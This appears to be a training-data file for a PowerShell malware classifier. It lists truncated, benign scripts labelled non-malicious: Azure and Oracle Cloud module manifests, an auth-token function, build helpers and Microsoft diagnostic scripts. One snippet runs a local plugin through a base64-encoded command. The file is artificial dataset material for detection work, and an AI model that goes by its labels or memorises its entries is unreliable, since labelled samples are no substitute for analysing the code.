function Get-AuthToken { [cmdletbinding()] param ( [Parameter(Mandatory=$true)] $User ) $userUpn = New-Object "System.Net.Mail.MailAddress" -ArgumentList $User $tenant = $userUpn.Host Write-Host "Checking for AzureAD module..." $AadModule = Get-Module -Name "AzureAD" -L...
combined_dataset/train/non-malicious/sample_23_86.ps1
sample_23_86.ps1
# # Module manifest for module 'OCI.PSModules.Aispeech' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Aispeech.dll' # Version number of this module. ModuleVersion = '83.2.0' # Supported PSEditions Comp...
combined_dataset/train/non-malicious/986fdfec-754f-49c7-8315-a67f47f16823.ps1
986fdfec-754f-49c7-8315-a67f47f16823.ps1
If ([intptr]::size -eq 4) { $powerShellDir = $powershelldir = "$env:Windir\\Sysnative\\WindowsPowerShell\\V1.0\\" $dir = "& `"$env:ProgramFiles\\Check_MK\\plugins\\Ex2010_MBDB_Info.ps1`"" $bytes = [Text.Encoding]::Unicode.GetBytes($dir) $encodedCommand = [Convert]::ToBase64String($bytes) Invoke-Command -comma...
combined_dataset/train/non-malicious/sample_14_16.ps1
sample_14_16.ps1
# Load Common Library # Load Reporting Utilities #_#$debug = $false . ./utils_cts.ps1 . ./TS_RemoteSetup.ps1 trap [Exception]{ WriteTo-StdOut "$($_.InvocationInfo.ScriptName)($($_.InvocationInfo.ScriptLineNumber)): $_" -shortformat; continue Write-Host "$($_.InvocationInfo.ScriptName)($($_.InvocationInfo.S...
combined_dataset/train/non-malicious/sample_38_17.ps1
sample_38_17.ps1
@{ GUID = 'C46BE3DC-30A9-452F-A5FD-4BF9CA87A854' Author="Microsoft Corporation" CompanyName="Microsoft Corporation" Copyright="Copyright (C) Microsoft Corporation. All rights reserved." ModuleVersion = '1.0' NestedModules = @( 'MSFT_MpComputerStatus.cdxml', 'MSFT_Mp...
combined_dataset/train/non-malicious/sample_44_51.ps1
sample_44_51.ps1
[CmdletBinding()] param ( [string]$OutFile, [string]$AltDownload, [string]$Proxy, [string]$AltHisEndpoint ) $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' $refVersion = [version] '4.5' $provider = 'Microsoft.HybridCompute' # Error codes used by azcmagent are ...
combined_dataset/train/non-malicious/2843.ps1
2843.ps1
function ExecuteInBuildFileScope { param([string]$buildFile, $module, [scriptblock]$sb) Assert (test-path $buildFile -pathType Leaf) ($msgs.error_build_file_not_found -f $buildFile) $psake.build_script_file = get-item $buildFile $psake.build_script_dir = $psake.build_script_file.DirectoryName ...
combined_dataset/train/non-malicious/sample_13_93.ps1
sample_13_93.ps1
@{ GUID="EEFCB906-B326-4E99-9F54-8B4BB6EF3C6D" Author="PowerShell" CompanyName="Microsoft Corporation" Copyright="Copyright (c) Microsoft Corporation." ModuleVersion="7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion="3.0" NestedModules="Microsoft.PowerShell.Commands.Management.dll" HelpInfoURI = 'ht...
combined_dataset/train/non-malicious/sample_50_38.ps1
sample_50_38.ps1
# # Module manifest for module 'OCI.PSModules.Loggingsearch' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Loggingsearch.dll' # Version number of this module. ModuleVersion = '75.1.0' # Supported PSEdi...
combined_dataset/train/non-malicious/sample_48_1.ps1
sample_48_1.ps1
# # Module manifest for module 'microsoft.remote-support' # @{ # Script module or binary module file associated with this manifest. RootModule = 'microsoft.remote-support.psm1' # Version number of this module. ModuleVersion = '1.0.8' # Supported PSEditions # CompatiblePSEditions = @() # ID used to u...
combined_dataset/train/non-malicious/sample_53_72.ps1
sample_53_72.ps1
# ---------------------------------------------------------------------------------- # # Copyright Microsoft Corporation # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apach...
combined_dataset/train/non-malicious/551.ps1
551.ps1
function Open-SPOSite { [CmdletBinding()] param ( [Parameter(Mandatory=$true, Position=1)] [string]$relativeUrl ) Write-Host "Go to site $relativeUrl" -foregroundcolor black -backgroundcolor yellow [string]$newSiteUrl = Join-SPOParts -Separator '/' -Parts $rootSiteUrl, $relativeUrl $new...
combined_dataset/train/non-malicious/sample_11_34.ps1
sample_11_34.ps1
#************************************************ # TS_ClusterValidationTests.ps1 # Version 1.0.1 # Date: 07-24-2009 # Author: Andre Teixeira - andret@microsoft.com # Hacked by Jacques Boulet - jaboulet@microsoft.com - 2019-02-21 # Description: This script is used to obtain cluster validation report. # ...